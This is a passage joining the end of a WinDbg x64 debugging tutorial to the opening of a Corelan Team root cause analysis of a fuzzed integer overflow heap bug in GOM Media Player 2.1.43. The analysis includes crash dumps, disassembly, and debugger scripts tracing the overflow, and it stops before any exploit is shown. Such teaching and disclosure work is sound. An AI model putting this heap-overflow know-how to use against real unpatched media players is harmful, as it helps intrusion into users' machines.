passed around in registers, let me show you a shortcut that will make life a
little bit easier. The shortcut relies upon the /r option of the .frame
command. When using .frame /r, the debugger has the smarts to track non-
volatile registers. But as with any technique, always have multiple tools in
your pocket in case you need to use all of them to verify a result.

To demonstrate, let’s consider Technique 2 described previously where we look
up the call graph and we want to know what r12 was prior to main\(\) calling
FunctionWith6Params\(\). Go ahead and re-launch the application in windbg and
let it run until it hits the DebugBreak\(\). Now, let’s take a look at the
stack including the frame numbers:

0:000> knL  
\# Child-SP RetAddr Call Site  
00 00000000\`0012fdc8 00000001\`40015816 ntdll\!DbgBreakPoint  
01 00000000\`0012fdd0 00000001\`400158a0 example\!FunctionWith4Params+0x66  
02 00000000\`0012fe50 00000001\`40015977 example\!FunctionWith5Params+0x20  
03 00000000\`0012fe80 00000001\`40015a0b example\!FunctionWith6Params+0x97  
**04 00000000\`0012fee0 00000001\`4000168b example\!main+0x5b**  
05 00000000\`0012ff20 00000000\`7748495d example\!\_\_tmainCRTStartup+0x15b  
06 00000000\`0012ff60 00000000\`775b8791 kernel32\!BaseThreadInitThunk+0xd  
07 00000000\`0012ff90 00000000\`00000000 ntdll\!RtlUserThreadStart+0x1d

Based on our previous analysis of the assembly in main\(\), we know that the
first parameter to FunctionWith6Params\(\) was also stored in the non-volatile
register r12 in main\(\) prior to calling FunctionWith6Params\(\). Now, check
out what we get when we use the .frame /r command to set the current frame to
4.

0:000> .frame /r 4  
04 00000000\`0012fee0 00000001\`4000168b example\!main+0x5b
\[c:\temp\blog\_entry\sample\_code\example.cpp @ 70\]  
rax=0000000000002ea6 rbx=0000000000004ae1 rcx=0000000000002ea6  
rdx=0000000000145460 rsi=00000000000018be rdi=0000000000006784  
rip=0000000140015a0b rsp=000000000012fee0 rbp=0000000000004823  
r8=000007fffffdc000 r9=0000000000001649 r10=0000000000000000  
r11=0000000000000246 **r12=0000000000000029** r13=0000000000000000  
r14=0000000000000000 r15=0000000000000000  
iopl=0 nv up ei pl nz na pe nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
example\!main+0x5b:  
00000001\`40015a0b 488b5c2440 mov rbx,qword ptr \[rsp+40h\]
ss:00000000\`0012ff20=0000000000000000

As you can see, .frame /r shows the register contents as they were in main\(\)
prior to calling FunctionWith6Params\(\). **Beware\! You can only trust the
non-volatile registers when using this command\!** Be sure to check out the
following link to see which registers are considered volatile: Register Usage
for x64 64-Bit.

.frame /r can spare you the time spent manually digging around on the stack to
find saved volatile registers. In my experiments, .frame /r even works where
there is no symbol information available. However, it never hurts to know how
to do it manually in case you’re faced with a situation where .frame /r breaks
down.

## Conclusion

The x64 calling convention and the abundance of general purpose registers in
the processor bring many opportunities for optimization to the table. However,
when all of those optimizations are in play, they can certainly make debugging
difficult. After giving a brief overview of the x64 calling convention, I
demonstrated three techniques one can use to find parameter values to various
functions in the call stack. I also showed you a shortcut you can use to see
non-volatile registers for a particular frame in the call stack. I hope you
find these techniques useful in your debugging adventures. Additionally, I
urge you to become more familiar with all of the nuances of the x64 calling
convention.

# Root Cause Analysis – Integer Overflows | Corelan Team
**Created:**| _8/9/2013 1:30:05 PM_  
---|---  
**Updated:**| _8/9/2013 1:30:05 PM_  
**Author:**| __  
**Tags:**| _integer overflows_  
  

# **R** oot Cause Analysis – Integer Overflows****

Published July 2, 2013 | By Corelan Team \(Jason Kratzer\) 
### Foreword****

Over the past few years, Corelan Team has received many exploit related
questions, including "I have found a bug and I don’t seem to control EIP, what
can I do **?** "; "Can you write a tutorial on heap overflows" or "what are
Integer overflows"**.**

In this article, Corelan Team member Jason Kratzer \(pyoor\) tries to answer
some of these questions in a very practical, hands-on way**.** He went to
great lengths to illustrate the process of finding a bug, taking the crash
information and reverse engineering the crash context to identifying the root
cause of the bug, to finally discussing multiple ways to exploit the bug**.**
Of course, most – if not all – of the techniques in this document were
discovered many years ago, but I’m sure this is one of the first \(public\)
articles that shows you how to use them in a real life scenario, with a real
application**.** Although the techniques mostly apply to Windows XP, we
believe it is required knowledge, necessary before looking at newer versions
of the Windows Operating system and defeating modern mitigation
techniques**.**

enjoy \!

\- corelanc0d3r

### Introduction****

In my previous article , we discussed the process used to evaluate a memory
corruption bug that I had identified in a recently patched version of
KMPlayer**.** With the crash information generated by this bug we were able to
step through the crash, identify the root cause of our exception, and
determine exploitability**.** In doing so, we were able to identify 3
individual methods that could potentially be used for exploitation**.** This
article will serve as a continuation of the series with the intention of
building upon some of the skills we discussed during the previous “Root Cause
Analysis” article**.** I highly recommend that if you have not done so
already, please review the contents of that article \(located here \) before
proceeding**.**

For the purpose of this article, we’ll be analyzing an integer overflow that I
had identified in the GOM Media Player software developed by GOM Labs**.**
This bug affects GOM Media Player 2.1.43 and was reported to the GOM Labs
development team on November 19, 2012**.** A patch was released to mitigate
this issue on December 12, 2012**.**

As with our previous bug, I had identified this vulnerability by fuzzing the
MP4/QT file formats using the Peach Framework \(v2**.** 3.9\). In order to
reproduce this issue, I have provided a bare bones fuzzing template \(Peach
PIT\) which specifically targets the vulnerable portion of the MP4/QT file
format**.** You can find a copy of that Peach PIT here **.** The vulnerable
version of GOM player can be found here **.**

### Analyzing the Crash Data****

Let’s begin by taking a look at the file, LocalAgent\_StackTrace.txt, which
was generated by Peach at crash time**.** I’ve included the relevant portions
below:

[code]

    (cdc**.** 5f8): Access violation - code c0000005 (first chance)
    r
    eax=00000028 ebx=0000004c ecx=0655bf60 edx=00004f44 esi=06557fb4 edi=06555fb8
    eip=063b4989 esp=0012bdb4 ebp=06557f00 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
    GSFU**!** DllUnregisterServer+0x236a9:
    **063b4989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:0655c000=**?****?**??**?****?**??**
    
    kb
    ChildEBP RetAddr  Args to Child              
    WARNING: Stack unwind information not available**.** Following frames may be wrong.
    0012bdc0 063b65eb 064dcda8 06555fb8 0652afb8 GSFU!DllUnregisterServer+0x236a9
    0012bdd8 063b8605 064dcda8 06555fb8 0652afb8 GSFU**!** DllUnregisterServer+0x2530b
    0012be00 063b8a85 064dcda8 0652afb8 0652afb8 GSFU**!** DllUnregisterServer+0x27325
    0012be18 063b65eb 064dcda8 0652afb8 06510fb8 GSFU**!** DllUnregisterServer+0x277a5
    0012be30 063b8605 064dcda8 0652afb8 06510fb8 GSFU**!** DllUnregisterServer+0x2530b
    0012be58 063b8a85 064dcda8 06510fb8 06510fb8 GSFU**!** DllUnregisterServer+0x27325
    0012be70 063b65eb 064dcda8 06510fb8 06500fb8 GSFU**!** DllUnregisterServer+0x277a5
    <...truncated..**.** >
    
    INSTRUCTION_ADDRESS:0x00000000063b4989
    INVOKING_STACK_FRAME:0
    DESCRIPTION:User Mode Write AV
    SHORT_DESCRIPTION:WriteAV
    **CLASSIFICATION:EXPLOITABLE
    BUG_TITLE:Exploitable - User Mode Write AV starting at GSFU**!** DllUnregisterServer+0x00000000000236a9 (Hash=0x1f1d1443**.** 0x00000000)**
    EXPLANATION:User mode write access violations that are not near NULL are exploitable**.**
[/code]

\(You can download the complete Peach crash data here \)

As we can see here, we’ve triggered a write access violation by attempting to
write the value of edx to the location pointed at by \[ecx+eax\*4\]**.** This
instruction fails of course because the location \[ecx+eax\*4\] points to an
inaccessible region of memory**.** \(0655c000=**?****?**??**?**??**?**\)

Since we do not have symbols for this application, the stack trace does not
provide us with any immediately evident clues as to the cause of our
exception**.**

Furthermore, we can also see that **\!** exploitable has made the assumption
that this crash is exploitable due to the fact that the faulting instruction
attempts to write data to an out of bounds location and that location is not
near null**.** It makes this distinction because a location that is near null
may be indicative of a null pointer dereference and these types of bugs are
typically not exploitable \(though not always \)**.** Let’s try and determine
if \!exploitable is in fact, correct in this assumption**.**

### Identifying the Cause of Exception****

#### Page heap****

Before we begin, there’s something very important that we must discuss**.**
Take a look at the bare bones Peach PIT I’ve provided; particularly the Agent
configuration beginning at line 55**.**

[code]

    <Agent name="LocalAgent">
      <Monitor class="debugger.WindowsDebugEngine">
        <Param name="CommandLine" value="C:\Program Files\GRETECH\GomPlayer\GOM.EXE "C:\fuzzed.mov"" />
        <Param name="StartOnCall" value="GOM.EXE" />
      </Monitor>
      <Monitor class="process.PageHeap">
        <Param name="Executable" value="GOM.EXE"/>
      </Monitor>
    </Agent>
[/code]

Using this configuration, I’ve defined the primary monitor as the
“WindowsDebugEngine” which uses PyDbgEng, a wrapper for the WinDbg engine
dbgeng.dll, in order to monitor the process**.** This is typical of most Peach
fuzzer configurations under windows**.** However, what’s important to note
here is the second monitor, “process.PageHeap”**.** This monitor enables full
page heap verification by using the Microsoft Debugging tool, GFlags \(Global
Flags Editor\)**.** In short, GFlags is a utility that is packaged with the
Windows SDK, and enables users to more easily troubleshoot potential memory
corruption issues**.** There are a number of configuration options available
with GFlags**.** For the purpose of this article, we’ll only be discussing 2:
standard and full page heap verification**.**

When using page heap verification, a special page header prefixes each heap
chunk**.** The image below displays the structure of a standard \(allocated\)
heap chunk and the structure of an \(allocated\) heap chunk with page heap
enabled**.**

****

**<img src='https://www.corelan.be/wp-
content/uploads/2013/05/RCAIntegerOverflow6_thumb.png' alt='RCA-Integer-
Overflow-6' />**

****

> This information can also be extracted by using the following display types
> variables:
> \# Displays the standard heap metadata**.** Replace 0xADDRESS with the heap
> chunk start address
> **dt \_HEAP\_ENTRY 0xADDRESS**
> \# Displays the page heap metadata**.** Replace 0xADDRESS with the start
> stamp address.
> **dt \_DPH\_BLOCK\_INFORMATION 0xADDRESS**
One of the most important additions to the page heap header is the "user stack
traces" \(+ust\) field**.** This field contains a pointer to the stack trace
of our allocated chunk**.** This means that we’re now able to enumerate which
functions eventually lead to the allocation or free of a heap chunk in
question**.** This is incredibly useful when trying to track down the root
cause of our exception**.**

Both standard and full heap verification prefix each chunk with this
header**.** The primary difference between standard and full page heap
verification is that under standard heap verification, fill patterns are
placed at the end of each heap chunk \(0xa0a0a0a0\)**.** If for instance a
buffer overflow were to occur and data was written beyond the boundary of the
heap chunk, the fill pattern located at the end of the chunk would be
overwritten and therefore, corrupted**.** When our now corrupt block is
accessed by the heap manager, the heap manager will detect that the fill
pattern has been modified/corrupted and cause an access violation to
occur**.**

With full page heap verification enabled, rather than appending a fill
pattern, each heap chunk is placed at the end of a \(small\) page**.** This
page is followed by another \(small\) page that has the PAGE\_NOACCESS access
level set**.** Therefore, as soon as we attempt to write past the end of the
heap chunk, an access violation will be triggered directly \(in comparison
with having to wait for a call to the heap manager\)**.** Of course, the use
of full page heap will drastically change the heap layout, because a heap
allocation will trigger the creation of a new page**.** In fact, the
application may even run out of heap memory space if your application is
performing a lot of allocations**.**

For a full explanation of GFlags, please take a look at the MSDN documentation
here **.**

Now the reason I’ve brought this up, is that in order to replicate the exact
crash generated by Peach, we’ll need to enable GFlags for the GOM.exe
process**.** GFlags is part of the Windows Debugging Tools package which is
now included in the Windows SDK**.** The Windows 7 SDK, which is recommended
for both Windows XP and 7 can be found here **.**

In order to enable full page heap verification for the GOM.exe process, we’ll
need to execute the following command**.**

[code]

    C:\Program Files\Debugging Tools for Windows (x86)>gflags /p /enable GOM.exe /full
[/code]

#### Initial analysis****

With that said, let’s begin by comparing our original seed file  and mutated
file  using the 010 Binary Editor**.**

Please note that in the screenshot below, “Address A” and “Address B”
correlate with OriginalSeed.mov and MutatedSeed.mov respectively**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/03/RCAIntegerOverflow1_thumb.png' alt='RCA-Integer-
Overflow-1' />

Here we can see that our fuzzer applied 8 different mutations and removed 1
block element entirely \(as identified by our change located at offset
0x12BE\)**.**

As documented in the previous article, you should begin by reverting each
change, 1 element at a time, from their mutated values to those found in the
original seed file**.** After each change, save the updated sample and open it
up in GOM Media Player while monitoring the application using WinDbg**.**

[code]

    windbg.exe "C:\Program Files\GRETECH\GomPlayer\GOM.EXE" "C:\Path-To\MutatedSeed.mov"
[/code]

The purpose here is to identify the minimum number of mutated bytes required
to trigger our exception**.** Rather than documenting each step of the process
which we had already outlined in the previous article, we’ll simply jump
forward to the end result**.** Your minimized sample file should now look like
the following:

<img src='https://www.corelan.be/wp-
content/uploads/2013/06/RCAIntegerOverflow8_thumb.png' alt='RCA-Integer-
Overflow-8' />

Here we can see that a single, 4 byte change located at file offset 0x131F was
responsible for triggering our crash**.** In order to identify the purpose of
these bytes, we must identify what atom or container they belong to**.**

Just prior to our mutated bytes, we can see the ASCII string “stsz”**.** This
is known as a FourCC . The QuickTime and MPEG-4 file formats rely on these
FourCC strings in order to identify various atoms or containers used within
the file format**.** Knowing that, we can lookup the structure of the “stsz”
atom in the QuickTime File Format Specification found here **.**

[code]

    Size:  0x00000100 
    Type:  0x7374737A (ASCII stsz) 
    Version:  0x00 
    Flags:  0x000000 
    Sample Size: 0x00000000
    **Number of Entries: 0x8000000027**
    Sample Size Table(1):  0x000094B5
    Sample Size Table(2):  0x000052D4
[/code]

Looking at the layout of the “stsz” atom, we can see that the value for the
“Number of Entries” element has been replaced with a significantly larger
value \(0×80000027 compared with the original value of 0x3B\)**.** Now that
we’ve identified the minimum change required to trigger our exception, let’s
take a look at the faulting block \(GSFU**\!** DllUnregisterServer+0x236a9\)
in IDA Pro**.**

### Reversing the Faulty Function****

<img src='https://www.corelan.be/wp-
content/uploads/2013/03/RCAIntegerOverflow3_thumb.png' alt='RCA-Integer-
Overflow-3' />

Without any state information, such as register values or memory locations
used during run time, we can only make minor assumptions based on the
instructions contained within this block**.** However, armed with only this
information, let’s see what we can come up with**.**

  * Let’s assume that eax and edx are set to 0×00000000 and that esi points to 0xAABBCCDD
  * A single byte is moved from the location pointed at by esi to edx resulting in edx == 0x000000AA
  * A single byte is moved from the location pointed at by \[esi+1\] to ecx
  * edx is shifted left by 8 bytes resulting in 0x0000AA00
  * ecx is added to @edx resulting in 0x0000AABB
  * A single byte is moved from the location pointed at by \[esi+2\] to ecx
  * edx is again shifted left by 8 bytes resulting in 0x00AABB00
  * ecx is again added to edx resulting in 0x00AABBCC
  * A single byte is moved from the location pointed at by \[esi+3\] to ecx
  * edx is again shifted left by 8 bytes resulting in 0xAABBCC00
  * And finally, ecx is added to edx resulting in 0xAABBCCDD

So what does this all mean**?** Well, our first 10 instructions appear to be
an overly complex version of the following instruction:

[code]

    movzx edx, dword ptr [esi]
[/code]

However, upon closer inspection what we actually see is that due to the way
bytes are stored in memory, this function is actually responsible for
reversing the byte order of the input string**.** So our initial read value of
0×41424344 \(ABCD\) will be written as 0×44434241 \(DCBA\)**.**

With that said, let’s reduce our block down to:

[code]

    loc_3B04960:
    cmp     ebx, 4
    jl      short loc_3B0499D	; Jump outside of our block
    
    movzx   edx, dword ptr [esi]	; Writes reverse byte order ([::-1])
    mov     ecx, [edi+28h]
    mov     ecx, [ecx+10h]
    mov     [ecx+eax*4], edx 	; Exception occurs here**.**
    				; Write @edx to [ecx+eax*4]
    mov     edx, [edi+28h]
    mov     ecx, [edx+0Ch]
    add     esi, 4
    sub     ebx, 4
    inc     eax
    cmp     eax, ecx
    jb      short loc_3B04960
[/code]

Now before we actually observe our block in the debugger, there are still a
few more characteristics we can enumerate**.**

  * The value pointed to by esi is moved to edx
  * edx is then written to \[ecx+eax\*4\]
  * The value of esi is increased by 4
  * The value of ebx is decreased by 4
  * eax is incremented by 1
  * The value of eax is compared against ecx**.** If eax is equal to ecx, exit the block. Otherwise, jump to our first instruction**.**
  * Once at the beginning of our block, ebx is then compared against 0×4**.** If ebx is less than 4, exit the block. Otherwise, perform our loop again.

To summarize, our first instruction attempts to determine if ebx is less than
or equal to 4**.** If it is not, we begin our loop by moving a 32 bit value at
memory location “A” and write it to memory location “B”**.** Then we check to
make sure eax is not equal to ecx**.** If it isn’t, then we return to the
beginning of our loop**.** This process will continue, performing a block move
of our data until one of our 2 conditions are met**.**

With a rough understanding of the instruction set, let’s observe its behavior
in our debugger**.** We’ll set the following breakpoints which will halt
execution if either of our conditions cause our block iteration to exit and
inform us of what data is being written and to where**.**

[code]

    r @$t0 = 1
    bp GSFU!DllUnregisterServer+0x23680 ".printf \"Block iteration #%p\\n\", @$t0; r @$t0 = @$t0 + 1; **.** if (@ebx <= 0x4) {.printf \"1st condition is true**.**  Exiting block iteration\\n\"; } .else {.printf \"1st condition is false (@ebx == 0x%p)**.**  Performing iteration\\n\", @ebx; gc}"
    bp GSFU!DllUnregisterServer+0x236a9 ".printf \"The value, 0x%p, is taken from 0x%p and written to 0x%p\\n\", @edx, @esi, (@ecx+@eax*4); gc"
    bp GSFU**!** DllUnregisterServer+0x236b9 ".if (@eax == @ecx) {.printf \"2nd is false**.**  Exiting block iteration.\\n\\n\"; } .else {.printf \"2nd condition is true**.**  ((@eax == 0x%p) <= (@ecx == 0x%p)).  Performing iteration\\n\\n\", @eax, @ecx; gc}"
[/code]

With our breakpoints set, you should see something similar to the following:

[code]

    Block iteration #00000001
    1st condition is false (@ebx == 0x000000ec)**.**  Performing iteration
    The value, 0x000094b5, is taken from 0x07009f14 and written to 0x0700df60
    2nd condition is true**.**  ((@eax == 0x00000001) <= (@ecx == 0x80000027))**.**  Performing iteration
    
    Block iteration #00000002
    1st condition is false (@ebx == 0x000000e8)**.**  Performing iteration
    The value, 0x000052d4, is taken from 0x07009f18 and written to 0x0700df64
    2nd condition is true**.**  ((@eax == 0x00000002) <= (@ecx == 0x80000027))**.**  Performing iteration
    
    ...truncated..**.**
    
    Block iteration #00000028
    1st condition is false (@ebx == 0x00000050)**.**  Performing iteration
    The value, 0x00004fac, is taken from 0x07009fb0 and written to 0x0700dffc
    2nd condition is true**.**  ((@eax == 0x00000028) <= (@ecx == 0x80000027))**.**  Performing iteration
    
    Block iteration #00000029
    1st condition is false (@ebx == 0x0000004c)**.**  Performing iteration
    The value, 0x00004f44, is taken from 0x07009fb4 and written to 0x0700e000
    (1974**.** 1908): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling**.**
    This exception may be expected and handled.
    eax=00000028 ebx=0000004c ecx=0700df60 edx=00004f44 esi=07009fb4 edi=07007fb8
    eip=06e64989 esp=0012bdb4 ebp=07009f00 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
    GSFU**!** DllUnregisterServer+0x236a9:
    06e64989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:0700e000=**?****?****?**??**?**??
[/code]

Here we can see that neither of our conditions caused our block iteration to
exit**.** Our instruction block performed 0×29 writes until a memory boundary
was reached \(likely caused by our full page heap verification\) which
triggers an access violation**.** Using the ‘db’ command, we let’s take a look
at the data we’ve written**.**

[code]

    0:000> db 0x0700df60
    0700df60  b5 94 00 00 d4 52 00 00-a8 52 00 00 2c 52 00 00  ....**.** R...R..,R..
    0700df70  7c 52 00 00 80 52 00 00-a4 52 00 00 28 53 00 00  |R..**.** R...R..(S..
    0700df80  18 53 00 00 94 52 00 00-20 53 00 00 ac 52 00 00  **.** S...R.. S...R..
    0700df90  28 53 00 00 e0 51 00 00-d0 52 00 00 88 52 00 00  (S..**.** Q...R...R..
    0700dfa0  e0 52 00 00 94 52 00 00-18 53 00 00 14 52 00 00  **.** R...R...S..**.** R..
    0700dfb0  14 52 00 00 5c 52 00 00-34 52 00 00 08 52 00 00  **.** R..\R..4R..**.** R..
    0700dfc0  d4 51 00 00 84 51 00 00-d8 51 00 00 d8 50 00 00  **.** Q..**.** Q...Q...P..
    0700dfd0  3c 51 00 00 04 52 00 00-a4 51 00 00 bc 50 00 00  <q..**.** r...q...p..
[/code]

Now let’s break down the information returned by our breakpoints:

  * First, taking a look at our write instructions we can see that the data being written appears to be the contents of our “Sample Size Table”**.** Our vulnerable block is responsible for reading 32 bits during each iteration from a region of memory beginning at 0x07009F14 and writing it to a region beginning at 0x0700DF60 \(these addresses may be different for you and will likely change after each execution\)**.** This is good a good sign as it means that we can control what data is being written**.**
  * Furthermore, we can see that during our second condition, eax is being compared against the same value being provided as the “Number of Entries” element within our “stsz” atom**.** This means that we can control at least 1 of the 2 conditions which will determine how many times our write instruction occurs**.** This is good. As with our previous example \(KMPlayer\), we demonstrated that if we can write beyond the intended boundary of our function, we may be able to overwrite sensitive data**.**
  * As for our first condition, it’s not yet apparent where the value stored in ebx is derived**.** More on this in a bit.

At this point, things are looking pretty good**.** So far we’ve determined
that we can control the data we write and at least one of our conditions**.**
However, we still haven’t figured out yet why we’re writing beyond our
boundary and into the guard page**.** In order to determine this, we’ll need
to enumerate some information regarding the region where our data is being
written, such as the size and type \(whether it be stack, heap, or virtually
allocated memory\)**.** To do so, we can use corelan0cd3r’s mona extension for
WinDbg**.** Before we do however, we’ll need to modify Gflags to only enable
standard page heap verification**.** The reason for this is that when using
full page heap verification, Gflags will modify our memory layout in such a
way that will not accurately reflect our memory state when run without
GFlags**.** To enable standard page heap verification, we’ll execute the
following command:

[code]

    gflags.exe /p /enable gom.exe
[/code]

Next, let’s go ahead and start our process under WinDbg**.** This time, we’ll
only apply 1 breakpoint in order to halt execution upon execution of our first
write instruction**.**

[code]

    0:000> **bp GSFU!DllUnregisterServer+0x236a9 ".printf \"The value, 0x%p, is taken from 0x%p and written to 0x%p\\n\", @edx, @esi, (@ecx+@eax*4)"
    **Bp expression 'GSFU**!** DllUnregisterServer+0x236a9' could not be resolved, adding deferred bp
    0:000> **g**
    
    **The value, 0x000094b5, is taken from 0x06209c4c and written to 0x06209dc0**
    eax=00000000 ebx=000000ec ecx=06209dc0 edx=000094b5 esi=06209c4c edi=06209bb8
    eip=06034989 esp=0012bdb4 ebp=06209c38 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x236a9:
    06034989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:06209dc0=00000000
    0:000> ****!** py mona info -a 0x06209dc0**
    Hold on..**.**
    [+] Generating module info table, hang on..**.**
        - Processing modules
        - Done. Let's rock 'n roll.
    [+] NtGlobalFlag: 0x02000000
        0x02000000 : +hpa - Enable Page Heap
    
    [+] Information about address 0x06209dc0
         {PAGE_READWRITE}
        Address is part of page 0x06200000 - 0x0620a000
        This address resides in the heap
    
    Address 0x06209dc0 found in 
        _HEAP @ 06200000, Segment @ 06200680
                          (         bytes        )                   (bytes)
          HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state
            06209d98  000000d8  00000050  00000014  [03]   06209dc0  000000a4  0000000c   Extra present,Busy  (hex)
                      00000216  00000080  00000020                   00000164  00000012   Extra present,Busy  (dec)
    
          Chunk header size: 0x8 (8)
          Extra header due to GFlags: 0x20 (32) bytes
          DPH_BLOCK_INFORMATION Header size: 0x20 (32)
             StartStamp    : 0xabcdaaaa
             Heap          : 0x86101000
             **RequestedSize : 0x0000009c**
             ActualSize    : 0x000000c4
             TraceIndex    : 0x0000193e
             **StackTrace    : 0x04e32364**
             EndStamp      : 0xdcbaaaaa
          Size initial allocation request: 0xa4 (164)
          Total space for data: 0xb0 (176)
          Delta between initial size and total space for data: 0xc (12)
          Data : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..**.**
    
    [+] Disassembly:
        Instruction at 06209dc0 : ADD BYTE PTR [EAX],AL
    
    Output of **!** address 0x06209dc0:
    
    Usage:                  <unclassified>
    Allocation Base:        06200000
    Base Address:           06200000
    End Address:            0620a000
    Region Size:            0000a000
    Type:                   00020000.MEM_PRIVATE
    State:                  00001000.MEM_COMMIT
    Protect:                00000004.PAGE_READWRITE
[/code]

Good**.** So here we can see that we’re writing to an allocated heap
chunk**.** The requested size of our block is 0x9C**.** Based on our access
violation, we can already determine that the current state of our mutated file
will attempt to write more than 0x9C bytes of data**.** After 0x9C bytes, our
boundary is reached and an access violation is triggered**.** Considering the
structure in which we’re writing our data, it appears as if we’ve identified a
very simple example of a heap overflow**.** If we are able to control the
length of the data being written and another heap chunk sits in a location
following our written data, we may be able to write beyond the bounds of our
chunk and corrupt the metadata \(chunk header\) of the following chunk, or
application data stored in that adjacent chunk \(that is of course with GFlags
disabled\)**.** More on this later.

However, before we attempt to do so, we still have not determined the actual
cause of our exception**.** Why is it that we are allocating a region that is
only 0x9C bytes, yet attempting to write significantly more**?** Our next step
in the process will be to determine where our allocated size of 0x9C comes
from**.** Is this some value specified in the file?

There are in in fact several methods we could use to determine this**.** We
could set a breakpoint on all heap allocations of size 0x9C**.** Once we’ve
identified the appropriate allocation, we can then look into the calling
function in order to determine where the size is derived**.**

Fortunately for us, with GFlags enabled, that is unnecessary**.** As I
mentioned earlier, when page heap verification is enabled, a field within the
page heap header contains a pointer to the stack trace of our allocated
block**.** A pointer to this stack trace is listed in \!mona’s output under
DPH\_BLOCK\_INFORMATION\*\*\* table \(highlighted above\)**.** This allows us
to see which functions were called just prior to our allocation**.**

> This information can also be obtained without **\!** mona by using the
> \!heap command while supplying an address within the heap chunk:
> ****\!** heap –p –a 0x06209dc0**
> You can also retrieve this information using the ‘dt’ command and the
> address of the chunk’s “StartStamp”**.**
> **dt \_DPH\_BLOCK\_INFORMATION 0x06209da0**.****
With that said, let’s use the ‘dds’ command to display the stack trace of the
allocated chunk**.**

[code]

    0:000> dds 0x04e32364
    
    04e32364  abcdaaaa
    04e32368  00000001
    04e3236c  00000004
    04e32370  00000001
    04e32374  0000009c
    04e32378  06101000
    04e3237c  04fbeef8
    04e32380  04e32384
    **04e32384  7c94b244 ntdll**!** RtlAllocateHeapSlowly+0x44
    04e32388  7c919c0c ntdll**!** RtlAllocateHeap+0xe64
    04e3238c  0609c2af GSFU**!** DllGetClassObject+0x29f8f
    04e32390  06034941 GSFU!DllUnregisterServer+0x23661**
[/code]

Here we can see two GOM functions \(GSFU**\!** DLLUnregisterServer and
GSFU\!DLLGetClassObject\) are called prior to the allocation**.** First, let’s
take a quick glance at the function just prior to our call to ntdll**\!**
RtlAllocateHeap using IDA Pro**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/03/RCAIntegerOverflow4_thumb.png' alt='RCA-Integer-
Overflow-4' />

So as we would expect, here we can see a call to HeapAlloc**.** The value
being provided as dwBytes would be 0x9C \(our requested size\)**.**

It’s important to note here that IDA Pro, unlike WinDbg, has the ability to
enumerate functions such as this**.** When it identifies a call to a known
function, it will automatically apply comments in order to identify known
variables supplied to that function**.** In the case of HeapAlloc
\(ntdll\!RtlAllocateHeap\), it will accept 3 arguments; dwBytes \(size of the
allocation\), dwFlags, and hHeap \(a pointer to the owning heap\)**.** More
information on this function can be found at the MSDN page here **.**

Now in order to identify where the value of dwBytes is introduced, let’s go
ahead and take a quick look at the previous function \(GSFU**\!**
DllUnregisterServer+0×23661\) in our stack trace.

<img src='https://www.corelan.be/wp-
content/uploads/2013/03/RCAIntegerOverflow5_thumb.png' alt='RCA-Integer-
Overflow-5' />

Interesting**.** Here we can see that a call to the Calloc function is made,
which in turn calls HeapAlloc**.** Before we continue, we need to have a short
discussion about Calloc**.**

Calloc  is a function used to allocate a contiguous block of memory when
parsing an array**.** It accepts two arguments:

[code]

    size_t num ; Number of Objects
    size_t size ; Size of Objects
[/code]

It will allocate a region of memory using a size derived by multiplying both
arguments \(Number of Objects \* Size of Objects\)**.** Then, by calling
memset  it will zero initialize the array \(not really important for the
purpose of this article\)**.** What is important to note however, is that
rather than using the CRT version of Calloc \(msvcrt**\!** calloc\), an
internal implementation is used. We can see this by following the call \(the
code is included in the GSFU module rather than making an external call to
msvcrt\)\*\*\* **.** The importance of this will become clear very soon**.**

> You can easily follow any call in IDA Pro by simply clicking on the called
> function**.** In this case, clicking on “\_calloc” will bring us to our
> inlined function**.** We can determine that the function has been inlined as
> GSFU**.** ax is our only loaded module. A jump to the msvcrt**\!** calloc
> function would be displayed by an “extrn”, or external, data reference
> \(DREF\)**.**
Now, with a quick look at our two calling functions, let’s go ahead and set a
one time breakpoint on the first value being supplied to Calloc so that once
it is hit, another breakpoint is applied to ntdll**\!** RtlAllocateHeap. Then,
we’ll trace until ntdll\!RtlAllocateHeap is hit.

Let’s go ahead and apply the following breakpoint, and then tell the process
to continue running \(g\)

[code]

    0:000> **bp GSFU**!** DllUnregisterServer+0x23653 /1 "bp ntdll!RtlAllocateHeap; ta"**
    Bp expression 'GSFU**!** DllUnregisterServer+0x23653 /1' could not be resolved, adding deferred bp
    0:000> **g**
    
    eax=050d9d70 ebx=000000f8 ecx=050d9d70 **edx=80000027** esi=050d9c48 edi=050d9bb8
    eip=06034934 esp=0012bdb0 ebp=050d9c38 iopl=0         nv up ei ng nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
    GSFU**!** DllUnregisterServer+0x23653
    **06034933 52             push    edx ; Number of Elements**
    eax=050d9d70 ebx=000000f8 ecx=050d9d70 edx=80000027 esi=050d9c48 edi=050d9bb8
    eip=06034934 esp=0012bdb0 ebp=050d9c38 iopl=0         nv up ei ng nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
    GSFU**!** DllUnregisterServer+0x23654:
    **06034934 6a04            push    4 ; Size of Elements**
    eax=050d9d70 ebx=000000f8 ecx=050d9d70 edx=80000027 esi=050d9c48 edi=050d9bb8
    eip=06034936 esp=0012bdac ebp=050d9c38 iopl=0         nv up ei ng nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
    GSFU**!** DllUnregisterServer+0x23656:
    06034936 83c604          add     esi,4
    eax=050d9d70 ebx=000000f8 ecx=050d9d70 edx=80000027 esi=050d9c4c edi=050d9bb8
